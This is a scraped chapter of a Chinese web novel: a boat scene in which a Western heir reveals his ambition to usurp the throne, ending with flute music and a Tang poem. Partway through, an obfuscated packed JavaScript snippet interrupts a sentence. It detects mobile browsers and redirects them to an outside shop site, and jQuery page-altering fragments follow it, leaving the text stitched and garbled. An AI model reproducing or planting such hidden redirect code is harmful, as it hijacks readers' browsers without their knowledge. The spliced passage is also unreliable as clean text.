78. 西部世子

作品:《邪恶魔头怎么会是白月光

    “所以……他是?”


    沉眠指了指燕惜荣旁边的小白脸,坐立不安——那小白脸眉目传情,一派好颜色,暗送秋波。


    只是他对逢昭眉目传情啊!


    沉眠瞪了回去,很是利索地给了他一个脑门蹦。


    “他?”燕惜荣心不在焉,一个劲儿的往沉眠身后瞥,“不认识,南域的人吧。”


    “什么嘛!”小白脸扭扭捏捏地笑了,纤细的手在水里面晃呀晃,闲情逸致十足,“各位远客不用在意我哦!”


    “只是…”他咬了咬唇瓣,一泼水就这么溅到了沉眠的衣服上。


    “哎呀,阴差阳错泼到姑娘身上了?”


    “无妨。”逢昭用内力一秒烘干,摸了摸沉眠的发尾,把它慢慢压平。做完这一切后,他照常给燕惜荣留一个侧脸。


    燕惜荣:“……”仰望天空,叹气。


    “你继续泼水,给我也泼一点。”燕惜荣朝小白脸凑近了一点,脸上的神色十分难看。


    “呸!”小白脸洗了洗脚,笑道,“姑娘干嘛呢,在下可不是什么浪荡子,不是什么人都泼的。”


    燕惜荣抽出了剑。


    “姑娘想要我泼多少?”小白脸笑语嫣嫣,蓄势待发。


    “罢了,你要真被他泼了,恐怕是水仗。”沉眠向小白脸投去几个果子,他没接着,倒是燕惜荣稳稳当当接住了,犹豫片刻,分了一小半出去。


    “姑娘哪摘的?这个果子可稀奇,美容养颜不说,滋味还好!”小白脸就着咬了一口,脸上的脂粉气也脱去了,如清水出芙蓉一般。


    “喏!”沉眠这才愿意把身后的人完整亮出来,宛如炫耀一般的说道:“我家昭昭摘的。”


    燕惜荣:“……”胃口全无。


    “尚可,不算难摘。”逢昭对小白脸微微颔首。


    “怎么不算难摘了,郎君肯定不是普通人,谢过了!”小白脸啃完果子,就躺在船尾,乐哉乐哉地哼起了歌。


    “南域西部的曲子。”燕惜荣随手将剑丢在一边,审视着小白脸。


    “是啊,各位有兴趣知道在下的名字吗?”小白脸承认的非常之快,快到让燕惜荣觉得不可思议。


    “到底得看你愿不愿意。”沉眠难得觉得空气新鲜,这里的水清澈,没有鱼虾浑浊,只有摇摆的水草,像一缕缕的绿丝带一样,漂荡涟漪。


    “愿意啊,我当然愿意和郡主结识。”上官缃漫不经心地打了个哈欠,与沉眠对视,“自然也愿意与姑娘身边那位郎君叙旧。”


    “西部世子上官缃。”逢昭拉过沉眠,折去了半根菰草,菰草修长,绿而黄的颜色在一众绿丝带之中鹤立鸡群。


    于是,只有沉眠一个人震惊,“不是,那你就坐享其成?靠我们的内力划船啊!”


    “懒猪吧。”


    上官缃:“……姑娘这说的什么话!”


    “在下生的如花似玉,你们各位不也是一饱眼福吗?”


    “懒猪。”沉眠不假思索,“我需要看你一饱眼福吗?”


    “我自己照照水,看看我身边人,再看看郡主,哪个不是一饱眼福?”沉眠话锋一转,“听闻你们西部都吃菰米?”


    “错了。”上官缃顺过来那半根菰草,面色忽然倦怠下来,“只有西部王室才吃,我吃的都烦了,还是要被逼着吃。”


    “再好吃的菰米,这样了之后,也只会觉得索然无味。”


    “世子认为我们的位置也坐得索然无味么?”燕惜荣目光紧紧盯着上官缃。


    上官缃微微眯起眼睛,嘴角勾起一抹似有若无的苦笑:“荣华富贵,锦衣玉食,这么些年,安然无恙,古井无波,再待下去,我怕是要变样子了。”


    沉眠微微皱眉,若有所思地说道:“那这么说,你想怎么变?”


    上官缃轻叹一声:“重重枷锁对我来说,顶多只能是束缚,可是——我还是更想要离经叛道呢。”他的眼神深处却闪过一丝决然,“既然要离经叛道,当然不能像菰草一样,哪一天稍不留意,就只剩下半截身子。”


    燕惜荣嘴角上扬,带着几分笃定道:“如此,世子与我们倒不是偶遇了。”


    上官缃沉默片刻,随后嘴角勾起一抹自信的笑容:“偶遇?那当然不是,千里迢迢的偶遇,说上去也是匪夷所思。”


    逢昭擦了擦指上的水珠,淡淡问道:“你想篡位?”


    “西王健在。”他瞥了眼上官缃,只一眼,便了然他的野心。


    上官缃忽地大笑,半截身子扎入水中,扁舟如离弦之箭,切割过菰草丛。他正飞转着自己的内力,回过头去冲燕惜荣笑,“我父王不比你的父王,没那么厉害,但也不至于平庸,总是要费些心思的,我让自己多些筹码不过分吧?”


    燕惜荣微微一怔,眼神中闪过一丝复杂的情绪。上官缃的话语如同投入崖底的巨石,让她的某种信念粉身碎骨。


    她沉默良久,终于开口道:“上官缃,你可知你的选择意味着什么?一旦踏上这条路,便无法回头。”


    上官缃哈哈大笑,眼中毫无畏惧:“我当然知道,这是我唯一的选择。若是只能提心吊胆,有名无实,我还不如干脆死了——死了也要带走他。”


    他扭头,盯着逢昭,“各位当然有能力给我筹码,而在下也不会介意俯首称臣。”


    “野心很大。”沉眠的手心一片冰凉,她眸中亦是冷意翻飞。


    不能再拖了。


    再拖下去,寒毒只会越来越过分。


    “哦?姑娘想说什么,但说无妨。”上官缃拖着腮,静观其变。


    “装什么?”沉眠又摸出一颗果子嚼了一口,咔咔作响,“你竟然来找我们,又口口声声说我们有你想要的筹码,又怎会不知我们的目的。”


    “只是这目的……你又知道多少?”


    “一知半解。”上官缃坦然道,“一知半解对各位不是更有益?反正……我们共同的目的是北部世子。”


    “如果知道的很多,我应该会被杀人灭口吧?”上官缃语气轻松,神情中又带着一股落寞,“一拳难敌六手,我可不想死无全尸。”


    “杀了他,对你的好处也不大吧?”燕惜荣的目光状若无意地落在那把水玉笛上。


    “其实还行,重点是我诚意满满,也想让各位看到我的诚意嘛!”上官缃语气非常肉麻,又一副没心没肺样。


    “有待商榷,先让我见识一下世子的诚意。”燕惜荣身体未移动半分,规规矩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927840|185317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    矩,疲惫至极,强撑而已。


    一看就没有睡好。


    “好。”上官缃也不欲再多言,翻了好几个身后,仍闭不上眼睛,心烦意乱。


    “阿照这些年过得开心吗?”上官缃忽然发问。


    燕惜荣耳朵动了动,立马正襟危坐。


    “尚可。”逢昭并不意外沉眠的淡定自若,他反问道:“那只隼,有没有被你养死?”


    “说什么呢!你当时送过来就半死不活,我好不容易才养活的,怎么能让它轻易就死了!”上官缃顿时困意全消。


    “骗人,我给它喂了屏息丸。”逢昭下意识地牵了牵嘴角,宛如冰雪消融一般,只是转瞬即逝。


    “那你当时这么做,是为了掩人耳目?”


    “过得好辛苦。”上官缃重重地叹了口气,默默抱紧自己的身体,“得亏我们同病相怜,不然我又怎么能与逢昭剑说上什么话……”


    “你深闺怨夫?”沉眠眼神警告一番,郑重其事道:“要不…你也去试一试滑稽戏?我觉得你挺有天赋的。”


    “你怎么不去啊?”上官缃怼道。


    “怕抢你的风头。”沉眠煞有其事地说,“滑稽戏也分很多种的,我不适合这种,这种还是你最在行。”


    “拐弯抹角,小人!”上官缃敢怒不敢言地撒起一片水花。


    “你也是。”沉眠摊了摊手,两人有一搭没一搭的拌起嘴来,似乎是故意要缓解这压抑的气氛。


    ……


    “所以,这些年过得不好吗?”燕惜荣不知何时已背过了身,往日只习惯注视前方的眼睛,此刻却撇向了碎满一河的水草,无声无息,密密麻麻。


    “还好。”逢昭的睫毛投下淡淡的阴影,一动未动,还是菰草吻过他的头发,他不适应沾湿的水温,这才颤了颤睫毛,如有什么不经意的拂过。


    于是燕惜荣便什么都知道了。


    “昭昭,你看!”


    逢昭看过去——又是一大群的星星虫,好似被人刻意安排过一般,只围着一个人打转,只围着一个人笑。


    “昭昭,送你的礼物。”沉眠低下头,挂上一抹浅笑。


    星星虫古怪非常,出现的地方很是苛刻,沉眠没那么神通广大,却能在仅仅几日再一次见到星星虫——那么,一定有一个人功不可没。


    那便是认真看星星虫的她。


    所以。


    “昭昭,我想听你的笛声。”


    “好。”


    “不是,燕照你还有这种才艺?什么时候会的……”


    “早就会了。”燕惜荣的声音低不可闻。


    笛声如潺潺流水,因为这条河在流动。清澈而又纯净的声音是星星虫矜持的笑,所以每一次,都能晃悠起星光,水光,波光粼粼,然后是菰草。


    菰草上寒冷的露珠,慢慢融入一片浑然一体的星河,丝丝雕琢的凉意,透彻心扉。


    燕惜荣当然记得这首曲子,她恍惚闭紧双眼。


    醉后不知天在水,满床星梦压星河。


    不是,才不是梦,才不是大梦一场空。


    她想到。


    *


    醉后不知天在水,满床星梦压星河——唐珙《题龙阳县青草湖》